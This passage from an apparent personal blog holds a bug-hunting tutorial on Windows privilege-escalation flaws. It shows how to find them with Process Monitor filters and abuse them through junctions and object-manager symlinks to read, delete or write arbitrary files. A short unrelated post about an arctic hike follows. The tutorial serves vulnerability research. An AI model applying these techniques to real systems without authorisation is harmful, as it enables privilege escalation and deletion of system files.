Next I'll often start by including this:

-Operation is "CreateFile" then include

You can further filter things down by filtering out when it opens a handle for things like "Read control" etc. Once you see an interesting file handle being opened you deselect the "CreateFile" include-filter and look if anything interesting is done with the filehandle.

III. Types of bugs

I roughly explained how to set-up filters in procmon, but now you need to know what to look for.
Most of this comes by experience, so this is really the hardest part to master.
Some vulnerable cases are this (excluding hardlinks as those are mitigated):

Arbitrary read:

Contents of a file from a user write-able location are read and then written to another file.

You can exploit this by making it read an arbitrary file using junctions. So when looking at procmon, file reads can be useful when used to copy contents to a file and there is no impersonation on the read.

Arbitrary delete:

Tip: One way to quickly find deletes is by adding the filter "detail contains "delete: true" then include".

If a file is being deleted in a user writeable folder without impersonation then you can redirect this delete to arbitrary files using junctions.
There is a small detail here. In the past you would need to have either control over the filename of the file being deleted or have a case where it just removes all the files in a folder.

However, these guys came up with a way to delete specific files without having control over the filename: https://www.cyberark.com/threat-research-blog/follow-the-link-exploiting-symbolic-links-with-ease/

So basically if you have a bug where it will delete c:\blah\bear.jpg, because even if you turn c:\blah into a junction pointing to c:\windows\system32 it will just try to delete c:\windows\system32\bear.jpg. What the guys from the article above discovered is that if you turn c:\blah into a junction to the object manager so that it becomes c:\blah -> \rpc control and then plant a symlink in \rpc control named "bear.jpg" pointing to for example c:\windows\system32\drivers\pci.sys you can have it delete arbitrary files. This trick can also be used with arbitrary writes/creates where you don't control the name. I think this will be patched soon.. as this is pretty bad.. I spent a lot of time looking at procmon and I can promise you that this trick can be used to abuse a shitload of bugs.

Arbitrary file writes/create:

If you control the location of a file create and/or write, you can turn this into a junction and have it create a file else where. Or.. write to a different file.

Things to consider here are:

-Is there some way to control the contents being written?
-Can I perhaps have partial control over the contents being written?
You need atleast some control over the contents being written. Just the ability to create a file in an arbitrary directory isn't going to be useful, unless that file is created with a permissive ACL or you can control its contents somehow. (You might want to reverse the function that does the filewrite, as it could reveal more about where it fetches the contents being written)

Arbitrary directory creation:

If a directory is created in a user-writeable location, it would be interesting to see if the ACL is written too. You may be able to create a directory in an arbitrary location and then have it given a permissive ACL that lets the user write to it.

IV. Conclusion

This bug type is super easy to find and exploit. The difficult thing is knowing where to look. But knowing where to look mostly comes down to persistence and just trying things until you find something.
This blogpost was written in a rush and I might change things later lol.

Thursday, August 8, 2019

Arctic adventure photos!

These are mostly picture of the first part of my 700km trek in the arctic. There was a lot of snow! During the second part of my trek the heatwave that was tormenting the rest of Europe finally hit and most of the snow melted. For the first part I had to traverse nearly 400km without options to resupply, so I had to carry a loooot of food! Towards the end I was hiking on 1000 calories a day, which was really hard, walking in snow all day is exhausting and it was hard making distance in this type of terrain. I did not meet any other hikers during the first part. It was one of the wildest things I have done in my life. I miss it a lot right now.